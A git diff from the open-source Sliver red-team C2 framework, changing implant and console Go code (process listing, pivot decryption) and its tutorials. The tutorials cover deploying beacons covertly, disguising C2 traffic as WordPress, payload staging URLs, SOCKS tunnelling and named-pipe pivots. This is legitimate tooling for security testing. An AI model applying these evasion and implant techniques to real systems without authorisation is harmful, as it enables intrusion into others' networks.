fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
}
|
||||
} else {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
if fullInfo {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
|
||||
}
|
||||
} else {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
}
|
||||
}
|
||||
}
|
||||
case "darwin":
|
||||
@@ -277,7 +331,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
case "linux":
|
||||
fallthrough
|
||||
default:
|
||||
if cmdLine {
|
||||
if cmdLine && fullInfo {
|
||||
var args string
|
||||
if len(proc.CmdLine) >= 2 {
|
||||
args = strings.Join(proc.CmdLine, " ")
|
||||
@@ -292,12 +346,20 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
fmt.Sprintf(color+"%s"+console.Normal, args),
|
||||
}
|
||||
} else {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
if fullInfo {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
}
|
||||
} else {
|
||||
row = table.Row{
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
|
||||
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -628,8 +628,11 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
|
||||
f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)")
|
||||
f.IntP("skip-pages", "S", 0, "skip the first n page(s)")
|
||||
f.BoolP("tree", "T", false, "print process tree")
|
||||
f.BoolP("full", "f", false, "show full process info (owner, command line, session information, may trigger EDR), default true on all non-Windows OSs, false on Windows")
|
||||
|
||||
processes.PrintPS(beacon.OS, ps, true, f, con)
|
||||
fullInfo := beacon.OS != "windows"
|
||||
|
||||
processes.PrintPS(beacon.OS, ps, true, fullInfo, f, con)
|
||||
|
||||
case sliverpb.MsgTerminateReq:
|
||||
terminate := &sliverpb.Terminate{}
|
||||
|
||||
@@ -50,6 +50,9 @@ func TasksCancelCmd(cmd *cobra.Command, con *console.SliverClient, args []string
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
// Request and response content is not needed for cancelling a task
|
||||
task.Request = nil
|
||||
task.Response = nil
|
||||
}
|
||||
|
||||
if task != nil {
|
||||
|
||||
@@ -49,9 +49,7 @@ Filesystem
|
||||
grep Search for strings that match a regex within a file or directory
|
||||
head Grab the first number of bytes or lines from a file
|
||||
ls List current directory
|
||||
memfiles List current memfiles
|
||||
mkdir Make a directory
|
||||
mount Get information on mounted filesystems
|
||||
mv Move or rename a file
|
||||
pwd Print working directory
|
||||
rm Remove a file or directory
|
||||
@@ -72,7 +70,6 @@ Info
|
||||
getuid Get session process UID
|
||||
info Get session info
|
||||
ping Send round trip message to implant (does not use ICMP)
|
||||
screenshot Take a screenshot
|
||||
whoami Get session user execution context
|
||||
```
|
||||
Execute a binary
|
||||
@@ -86,3 +83,13 @@ Running an interactive shell
|
||||
```asciinema
|
||||
{"src": "/asciinema/shell.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Not all commands are supported for all operating systems or meant to be used on all operating systems, here are a few examples:
|
||||
|
||||
```
|
||||
mount Get information on mounted filesystems (only for Windows and Linux)
|
||||
screenshot Take a screenshot (only for Windows and Linux)
|
||||
memfiles List current memfiles (Linux only)
|
||||
```
|
||||
|
||||
This is an open-source project if you see a bug please file an issue! Pull requests are always welcome.
|
||||
@@ -2,9 +2,9 @@
|
||||
|
||||
Sliver implants support two types of connections, sessions and beacons.
|
||||
|
||||
Sessions use long-polling connections, which means they use a single TCP connection which is constantly open. Beacons on the other hand call back periodically, and will sleep when not active which can help keep their presence hidden.
|
||||
Sessions use long-polling connections, which means they constantly maintain a single TCP connection open while communicating with the server. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration.
|
||||
|
||||
Typically during an engagement you will want to deploy a beacon on the target system, and switch to a session while doing more active enumeration activities.
|
||||
Typically during an engagement you will want to deploy a beacon on the target system and switch to a session while doing more active enumeration.
|
||||
|
||||
Let’s start with generating and deploying a beacon using `http`.
|
||||
|
||||
@@ -66,13 +66,13 @@ Commands issued for beacons can be viewed using `tasks`, the task state will ind
|
||||
{"src": "/asciinema/beacon_tasks.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Session can be spun up using the `interactive` command.
|
||||
Session can be spun up in our beacon process using the `interactive` command. Under the hood this will spawn a goroutine running session connection loop in the same beacon process.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/beacon_interractive.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
Because of the differences between sessions and beacons, certain commands like `upload` or `download` are slower on beacons due to the callback time. Others such as socks5 are not supported and only allowed for sessions. As a rule of thumb anything requiring higher network bandwidth should be run from a session.
|
||||
Because of the differences between sessions and beacons, certain commands like `upload` or `download` are slower on beacons due to the callback time. Others such as socks5 are only supported for sessions. As a rule of thumb anything requiring higher network bandwidth should be run from a session.
|
||||
|
||||
Let’s switch to our newly created session and spin-up a `socks5` proxy.
|
||||
|
||||
@@ -91,4 +91,4 @@ Let’s switch to our newly created session and spin-up a `socks5` proxy.
|
||||
|
||||
You can then point your browser to port 1081 to tunnel traffic through the implant to your target’s local network.
|
||||
|
||||
Try out some of the previous commands and compare behaviour on beacons and sessions. Once you are done, you should remember to close your session using the `close` command.
|
||||
Try out some of the previous commands and compare behaviour on beacons and sessions. Once you are done, you should remember to close your session thread using the `close` command.
|
||||
@@ -1,104 +1,19 @@
|
||||
# This course is intended for the 1.6 version of Sliver, which is not yet published
|
||||
|
||||
When generating implants sliver uses a C2Profile configuration, which will be used to generate the effective network configuration of the implant. For example if configured to use /admin and /demo as callback urls, it might use one, the other or both allowing two implants using the same configuration to still seem slightly different from a network traffic perspective.
|
||||
When generating implants Sliver uses a C2Profile configuration to define how implant callbacks will look over HTTP/s. This allowed operators to control headers, cookies proxies, URL paths and so on. When the implant is generated the sliver server will then select portions of that configuration to generate the implant C2Profile.
|
||||
|
||||
C2 profile configurations can be seen using the `c2profile` command, which also allows import and export features.
|
||||
For example if configured to use `/admin` and `/demo` as callback urls, it might use one, the other or both depending on your configuration allowing two implants using the same configuration to still seem slightly different from a network traffic perspective.
|
||||
|
||||
C2 profile configurations can be seen using the `c2profile` command, which also has import and export features.
|
||||
|
||||
The full list of possible configuration option can be found in the references section below, but for now lets instead customise the existing configuration.
|
||||
|
||||
Lets imagine we’re trying to breach a customer we've noticed uses ruby-on-rails for their applications. By default sliver will use the following extensions:
|
||||
Lets imagine we’re trying to breach a customer and want to look like we're talking to Wordpress.
|
||||
We would want to update the session messages and staging with something more realistic and replace all references to `woff` for example with something less suspicious like `css`, `js` or `php`.
|
||||
|
||||
- `.woff` for staging
|
||||
- `.js` for poll requests
|
||||
- `.html` for key exchanges
|
||||
- `.png` for close session
|
||||
- `.php` for session messages
|
||||
We would also use a list of common Urls and filenames for Wordpress like `https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-wordpress-3.3.1.txt` for the `files` and `paths` variables. You could alternatively reuse Urls discovered while enumerating your target's external perimeter in a similar way.
|
||||
|
||||
We will need to update the session messages and staging with something more realistic and replace all references to `woff` or `php` with something less suspicious like `css`, `rb` or `erb`.
|
||||
|
||||
We will also use a list of common Urls and filenames for Ruby on Rails like `https://github.com/danielmiessler/SecLists/blob/master/DiscoveryWeb-Content/ror.txt` for the `*_files` and `*_paths` variables. You could also reuse Urls discovered while enumerating your target's external perimeter in a similar way.
|
||||
|
||||
We will split the urls using a script like the example below, and then update the files and paths variables in our configuration file.
|
||||
|
||||
```python
|
||||
import json
|
||||
import math
|
||||
import sys
|
||||
import random
|
||||
|
||||
|
||||
def updateProfile(c2ProfileName, urls, cookieName):
|
||||
data = open(urls).readlines()
|
||||
c2Profile = open(c2ProfileName, "r").read()
|
||||
jsonC2Profile = json.loads(c2Profile)
|
||||
|
||||
paths, filenames, extensions = [], [], []
|
||||
for line in data:
|
||||
line = line.strip()
|
||||
if "." in line:
|
||||
extensions.append(line.split(".")[-1])
|
||||
|
||||
if "/" in line:
|
||||
segments = line.split("/")
|
||||
paths.extend(segments[:-1])
|
||||
filenames.append(segments[-1].split(".")[0])
|
||||
|
||||
extensions = list(set(extensions))
|
||||
if "" in extensions:
|
||||
extensions.remove("")
|
||||
random.shuffle(extensions)
|
||||
|
||||
filenames = list(set(filenames))
|
||||
if "" in filenames:
|
||||
filenames.remove("")
|
||||
|
||||
paths = list(set(paths))
|
||||
if "" in paths:
|
||||
paths.remove("")
|
||||
|
||||
if len(extensions) < 5:
|
||||
print(f'Got {len(extensions)} extensions, need at least 5.')
|
||||
exit(0)
|
||||
|
||||
if len(paths) < 5:
|
||||
print(f'Got {len(paths)} paths need at least 5.')
|
||||
exit(0)
|
||||
|
||||
if len(filenames) < 5:
|
||||
print(f'Got {len(filenames)} paths need at least 5.')
|
||||
exit(0)
|
||||
|
||||
exts = ['poll_file_ext','stager_file_ext', 'start_session_file_ext', 'session_file_ext', 'close_file_ext' ]
|
||||
for ext in exts:
|
||||
jsonC2Profile["implant_config"][ext] = extensions[0]
|
||||
extensions.pop(0)
|
||||
|
||||
pathTypes = ['poll_paths','stager_paths', 'session_paths', 'close_paths' ]
|
||||
for x, pathType in enumerate(pathTypes):
|
||||
jsonC2Profile["implant_config"][pathType] = paths[math.floor(x*(len(paths)/len(pathTypes))):math.floor((x+1)*(len(paths)/len(pathTypes)))]
|
||||
|
||||
fileTypes = ['poll_files','stager_files', 'session_files', 'close_files']
|
||||
for x, fileType in enumerate(fileTypes):
|
||||
jsonC2Profile["implant_config"][fileType] = filenames[math.floor(x*(len(filenames)/len(fileTypes))):math.floor((x+1)*(len(filenames)/len(fileTypes)))]
|
||||
|
||||
jsonC2Profile["server_config"]["cookies"] = [cookieName]
|
||||
c2Profile = open(c2ProfileName, "w")
|
||||
c2Profile.write(json.dumps(jsonC2Profile))
|
||||
print("C2 Profile updated !")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 4:
|
||||
print("Usage: updateProfile.py myC2Profile myurls.txt cookieName")
|
||||
exit(0)
|
||||
|
||||
updateProfile(sys.argv[1], sys.argv[2], sys.argv[3])
|
||||
```
|
||||
The example below demonstrates how to change and import a profile.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/custom_c2profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
You can use `c2profiles generate -f urls-wordpress-3.3.1.txt -n wordpress -i` to generate a new c2 profile using the urls we just downloaded. By default this command will use the default c2 profile as a template for all other variables, if you want to edit any of those you can export and re-import the modified profile.
|
||||
|
||||
At this point we can generate a new implant using our new profile.
|
||||
|
||||
|
||||
@@ -10,12 +10,11 @@ For this exercise, we will create a new beacon profile and prepare to stage it.
|
||||
|
||||
If you look at the generated implant, you'll notice the `ID` field has been populated. When downloading your payload from the staging server your URL needs to be in the form of:
|
||||
```
|
||||
https://sliver-ip/whatever.stager_file_ext?x=yourID
|
||||
https://sliver-ip/definitely/not/malware?x=yourID
|
||||
```
|
||||
|
||||
There is a lot of flexibility in the form of this URL, the conditions for successful staging are:
|
||||
* The file extension needs to match the c2 profile's stager_file_ext
|
||||
* There has to be a one character http url parameter
|
||||
* There has to be http url parameter containing the implant ID
|
||||
* The digits found in the ID need to match an implant ID, if your implant ID is 1234, abcd1234, 12beu34 are all valid values
|
||||
|
||||
To expose a payload, you need to use the `implants stage` command and specifically select the implant to leave accessible.
|
||||
|
||||
@@ -32,3 +32,27 @@ The next step is to generate a payload that will connect to our listener.
|
||||
```
|
||||
|
||||
Executing this payload will cause it to connect back through our original implant and then back to our C2 server.
|
||||
|
||||
```asciinema
|
||||
{"src": "/asciinema/tcppivot.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
|
||||
```
|
||||
|
||||
As mentionned before named pipe pivots use a similar process, first you need to create a listener:
|
||||
|
||||
```bash
|
||||
[server] sliver (WARM_DRIVEWAY) > pivots named-pipe --bind foobar
|
||||
|
||||
[*] Started named pipe pivot listener \\.\pipe\foobar with id 1
|
||||
|
||||
```
|
||||
|
||||
You can then generate an implant connecting to it
|
||||
|
||||
```bash
|
||||
sliver > generate --os windows --debug --skip-symbols --named-pipe ./pipe/foobar
|
||||
|
||||
[*] Generating new windows/amd64 implant binary
|
||||
[*] Build completed in 1s
|
||||
[*] Implant saved to /Users/tester/code/sliver/PROPER_SING.exe
|
||||
```
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1 +1 @@
|
||||
{"tutorials":[{"name":"1 - Getting Started","content":"# This course is intented for the 1.6 version of Sliver, which is not yet published\n\n`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.\n\nFirst time running Sliver will take a couple seconds as its retrieving its dependencies, consecutive executions will be much faster. Go ahead and launch the `sliver-server`.\n\n```asciinema\n{\"src\": \"/asciinema/startup.cast\", \"cols\": \"132\", \"rows\": \"28\", \"idleTimeLimit\": 8}\n```\n\nLet's take a couple minutes to discuss what Sliver actually is and how its setup.\n\n\n\nNow that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.\n\nHere's what we're going to do: \n* Generate your implant using the `generate` command as shown below.\n* Start HTTP listener on port 80\n* Execute implant in a separate terminal\n\n```asciinema\n{\"src\": \"/asciinema/first-implant.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNow let’s select our implant and run our first command using the `use` command.\n\n```bash\n[server] sliver > use\n? Select a session or beacon: \nSESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64\n[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)\n\n[server] sliver (RELATED_EARDRUM) > pwd\n\n[*] /Users/tester/tools\n```\n\nOnce you have reached this point, go ahead and explore some of the commands listed below. In each case first checkout the commands help using the **`-h`** flag then try it out!\n\n```bash\nExploring and interacting with the filesystem\n\nFilesystem\n cat Dump file to stdout\n cd Change directory\n cp Copy a file\n download Download a file\n grep Search for strings that match a regex within a file or directory\n head Grab the first number of bytes or lines from a file\n ls List current directory\n memfiles List current memfiles\n mkdir Make a directory\n mount Get information on mounted filesystems\n mv Move or rename a file\n pwd Print working directory\n rm Remove a file or directory\n tail Grab the last number of bytes or lines from a file\n upload Upload a file\n```\n\n```asciinema\n{\"src\": \"/asciinema/filesystem.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nGetting some environmental information\n```bash\nInfo\n env List environment variables\n getgid Get session process GID\n getpid Get session pid\n getuid Get session process UID\n info Get session info\n ping Send round trip message to implant (does not use ICMP)\n screenshot Take a screenshot\n whoami Get session user execution context\n```\nExecute a binary\n\n```asciinema\n{\"src\": \"/asciinema/execute.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nRunning an interactive shell\n\n```asciinema\n{\"src\": \"/asciinema/shell.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n"},{"name":"2 - Beacons vs Sessions","content":"Sliver implants support two types of connections, sessions and beacons.\n\nSessions use long-poling connections, which means they use a single TCP connection which is constantly open. Beacons on the other hand call back periodically, and will sleep when not active which can help keep their presence hidden.\n\nTypically during an engagement you will want to deploy a beacon on the target system, and switch to a session while doing more active enumeration activities.\n\nLet’s start with generating and deploying a beacon using `http`.\n\n```asciinema\n{\"src\": \"/asciinema/beacon_generation.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nYou can see the beacon callback times either in the `info` command or using `beacons watch`.\n\n```bash\n[server] sliver > beacons watch\n\n ID Name Transport Username Operating System Last Check-In Next Check-In\n========== =============== =========== ================= ================== =============== ===============\n 942c647c TIRED_GIRAFFE http(s) tester darwin/amd64 52s 12s\n\n```\n\nBeacon callback times and jitter can be set either during generation or on the fly using the `reconfig` command.\n\nThe example below sets the callback time to 5s with a 1s jitter.\n\n```bash\n[server] sliver (TIRED_GIRAFFE) > reconfig -i 5s -j 1s\n\n[*] Tasked beacon Line truncated
|
||||
{"tutorials":[{"name":"1 - Getting Started","content":"# This course is intended for the 1.6 version of Sliver, which is not yet published\n\n`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.\n\nFirst time running Sliver will take a couple seconds as it's retrieving its dependencies. Consecutive executions will be much faster. Go ahead and launch the `sliver-server`.\n\n```asciinema\n{\"src\": \"/asciinema/startup.cast\", \"cols\": \"132\", \"rows\": \"28\", \"idleTimeLimit\": 8}\n```\n\nLet's take a couple minutes to discuss what Sliver actually is and how it's set up.\n\n\n\nNow that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.\n\nHere's what we're going to do: \n* Generate your implant using the `generate` command as shown below.\n* Start HTTP listener on port 80\n* Execute implant in a separate terminal\n\n```asciinema\n{\"src\": \"/asciinema/first-implant.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNow let’s select our implant and run our first command using the `use` command.\n\n```bash\n[server] sliver > use\n? Select a session or beacon: \nSESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64\n[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)\n\n[server] sliver (RELATED_EARDRUM) > pwd\n\n[*] /Users/tester/tools\n```\n\nOnce you have reached this point, go ahead and explore some of the commands listed below. In each case, first check out the command's help using the **`-h`** flag then try it out!\n\n```bash\nExploring and interacting with the filesystem\n\nFilesystem\n cat Dump file to stdout\n cd Change directory\n cp Copy a file\n download Download a file\n grep Search for strings that match a regex within a file or directory\n head Grab the first number of bytes or lines from a file\n ls List current directory\n mkdir Make a directory\n mv Move or rename a file\n pwd Print working directory\n rm Remove a file or directory\n tail Grab the last number of bytes or lines from a file\n upload Upload a file\n```\n\n```asciinema\n{\"src\": \"/asciinema/filesystem.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nGetting some environmental information\n```bash\nInfo\n env List environment variables\n getgid Get session process GID\n getpid Get session pid\n getuid Get session process UID\n info Get session info\n ping Send round trip message to implant (does not use ICMP)\n whoami Get session user execution context\n```\nExecute a binary\n\n```asciinema\n{\"src\": \"/asciinema/execute.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nRunning an interactive shell\n\n```asciinema\n{\"src\": \"/asciinema/shell.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNot all commands are supported for all operating systems or meant to be used on all operating systems, here are a few examples:\n\n```\nmount Get information on mounted filesystems (only for Windows and Linux)\nscreenshot Take a screenshot (only for Windows and Linux)\nmemfiles List current memfiles (Linux only)\n```\n\nThis is an open-source project if you see a bug please file an issue! Pull requests are always welcome."},{"name":"2 - Beacons vs Sessions","content":"# This course is intended for the 1.6 version of Sliver, which is not yet published\n\nSliver implants support two types of connections, sessions and beacons.\n\nSessions use long-polling connections, which means they constantly maintain a single TCP connection open while communicating with the server. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration.\n\nTypically during an engagement you will want to deploy a beacon on the target system and switch to a session while doing more active enumeration.\n\nLet’s start with generating and deploying a beacon using `http`.\n\n```asciinema\n{\"src\": \"/asciinema/beacon_generation.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nYou can see the beacon callback times either in the `info` command or using `beacons watch`.\n\n```bash\n[server] sliver > beacons watch\n\n Line truncated
|
||||
+2
-2
@@ -20,8 +20,8 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.22.5"
|
||||
GARBLE_VER="1.22.5"
|
||||
GO_VER="1.23.5"
|
||||
GARBLE_VER="1.23.5"
|
||||
ZIG_VER="0.13.0"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
|
||||
@@ -219,6 +219,23 @@ func (c *CipherContext) Decrypt(msg []byte) ([]byte, error) {
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
// Decrypt - Decrypt a message without signature with the contextual key and check for replay attacks
|
||||
func (c *CipherContext) DecryptWithoutSignatureCheck(msg []byte) ([]byte, error) {
|
||||
|
||||
plaintext, err := Decrypt(c.Key, msg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if 0 < len(msg) {
|
||||
digest := sha256.Sum256(msg)
|
||||
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
|
||||
if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
|
||||
return nil, ErrReplayAttack
|
||||
}
|
||||
}
|
||||
return plaintext, nil
|
||||
}
|
||||
|
||||
// Encrypt - Encrypt a message with the contextual key
|
||||
func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
|
||||
ciphertext, err := Encrypt(c.Key, plaintext)
|
||||
|
||||
@@ -45,7 +45,7 @@ var (
|
||||
MaxN = uint64(9999999)
|
||||
|
||||
Base32EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base32EncoderID}}`, 10, 64)
|
||||
Base58EncoderID, _ = strconv.ParseUint(`.Encoders.Base58EncoderID}}`, 10, 64)
|
||||
Base58EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base58EncoderID}}`, 10, 64)
|
||||
Base64EncoderID, _ = strconv.ParseUint(`{{.Encoders.Base64EncoderID}}`, 10, 64)
|
||||
EnglishEncoderID, _ = strconv.ParseUint(`{{.Encoders.EnglishEncoderID}}`, 10, 64)
|
||||
GzipEncoderID, _ = strconv.ParseUint(`{{.Encoders.GzipEncoderID}}`, 10, 64)
|
||||
|
||||
@@ -477,8 +477,8 @@ func migrateHandler(data []byte, resp RPCResponse) {
|
||||
migrateResp.Success = false
|
||||
migrateResp.Response = &commonpb.Response{}
|
||||
} else {
|
||||
// Search for the PID
|
||||
processes, err := ps.Processes()
|
||||
// Search for the PID, do not need all info about the process
|
||||
processes, err := ps.Processes(false)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to list procs %v", err)
|
||||
|
||||
@@ -38,7 +38,7 @@ func psHandler(data []byte, resp RPCResponse) {
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
procs, err := ps.Processes()
|
||||
procs, err := ps.Processes(psListReq.FullInfo)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to list procs %v", err)
|
||||
@@ -51,10 +51,10 @@ func psHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
for _, proc := range procs {
|
||||
p := &commonpb.Process{
|
||||
Pid: int32(proc.Pid()),
|
||||
Ppid: int32(proc.PPid()),
|
||||
Executable: proc.Executable(),
|
||||
Owner: proc.Owner(),
|
||||
Pid: int32(proc.Pid()),
|
||||
Ppid: int32(proc.PPid()),
|
||||
Executable: proc.Executable(),
|
||||
Owner: proc.Owner(),
|
||||
Architecture: proc.Architecture(),
|
||||
}
|
||||
p.CmdLine = proc.(*ps.DarwinProcess).CmdLine()
|
||||
|
||||
@@ -29,7 +29,7 @@ import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strconv"
|
||||
"syscall"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/ps"
|
||||
@@ -49,7 +49,7 @@ func psHandler(data []byte, resp RPCResponse) {
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
procs, err := ps.Processes()
|
||||
procs, err := ps.Processes(psListReq.FullInfo)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to list procs %v", err)
|
||||
@@ -155,12 +155,12 @@ func nsLinuxIfconfig(interfaces *sliverpb.Ifconfig) {
|
||||
// Save the current network namespace
|
||||
pidPath := strconv.Itoa(os.Getpid())
|
||||
tidPath := strconv.Itoa(unix.Gettid())
|
||||
origns, _ := getFdFromPath(filepath.Join(procDir, pidPath, "/task", tidPath, "/ns/net"))
|
||||
origns, _ := getFdFromPath(filepath.Join(procDir, pidPath, "/task", tidPath, "/ns/net"))
|
||||
defer unix.Close(origns)
|
||||
|
||||
// We only need to use the path value
|
||||
for _, nsPath := range namespacesFound {
|
||||
nsFd, err := unix.Open(nsPath, unix.O_RDONLY|unix.O_CLOEXEC, 0)
|
||||
for _, nsPath := range namespacesFound {
|
||||
nsFd, err := unix.Open(nsPath, unix.O_RDONLY|unix.O_CLOEXEC, 0)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
@@ -180,7 +180,7 @@ func nsLinuxIfconfig(interfaces *sliverpb.Ifconfig) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Interfaces: %v\n", ifaces)
|
||||
// {{end}}
|
||||
ifconfigParseInterfaces(ifaces, interfaces, nsPath)
|
||||
ifconfigParseInterfaces(ifaces, interfaces, nsPath)
|
||||
}
|
||||
// Switch back to the original namespace
|
||||
unix.Setns(origns, unix.CLONE_NEWNET)
|
||||
@@ -205,8 +205,8 @@ func ifconfigLinux() *sliverpb.Ifconfig {
|
||||
func ifconfigParseInterfaces(netInterfaces []net.Interface, interfaces *sliverpb.Ifconfig, namespacePath ...string) {
|
||||
// Append namespace ID if passed in
|
||||
var appendNsId = ""
|
||||
if len(namespacePath) > 0 {
|
||||
appendNsId = fmt.Sprintf(" NS(%v)",namespacePath[0])
|
||||
if len(namespacePath) > 0 {
|
||||
appendNsId = fmt.Sprintf(" NS(%v)", namespacePath[0])
|
||||
}
|
||||
|
||||
for _, iface := range netInterfaces {
|
||||
|
||||
@@ -38,7 +38,7 @@ func psHandler(data []byte, resp RPCResponse) {
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
procs, err := ps.Processes()
|
||||
procs, err := ps.Processes(psListReq.FullInfo)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to list procs %v", err)
|
||||
@@ -51,10 +51,10 @@ func psHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
for _, proc := range procs {
|
||||
p := &commonpb.Process{
|
||||
Pid: int32(proc.Pid()),
|
||||
Ppid: int32(proc.PPid()),
|
||||
Executable: proc.Executable(),
|
||||
Owner: proc.Owner(),
|
||||
Pid: int32(proc.Pid()),
|
||||
Ppid: int32(proc.PPid()),
|
||||
Executable: proc.Executable(),
|
||||
Owner: proc.Owner(),
|
||||
Architecture: proc.Architecture(),
|
||||
}
|
||||
p.CmdLine = proc.(*ps.WindowsProcess).CmdLine()
|
||||
|
||||
@@ -544,7 +544,7 @@ func (p *NetConnPivot) readEnvelope() (*pb.Envelope, error) {
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
data, err = p.cipherCtx.Decrypt(data)
|
||||
data, err = p.cipherCtx.DecryptWithoutSignatureCheck(data)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Decryption error: %s", err)
|
||||
|
||||
@@ -63,10 +63,8 @@ var CurrentToken windows.Token
|
||||
|
||||
func SePrivEnable(s string) error {
|
||||
var tokenHandle windows.Token
|
||||
thsHandle, err := windows.GetCurrentProcess()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
thsHandle := windows.CurrentProcess()
|
||||
|
||||
windows.OpenProcessToken(
|
||||
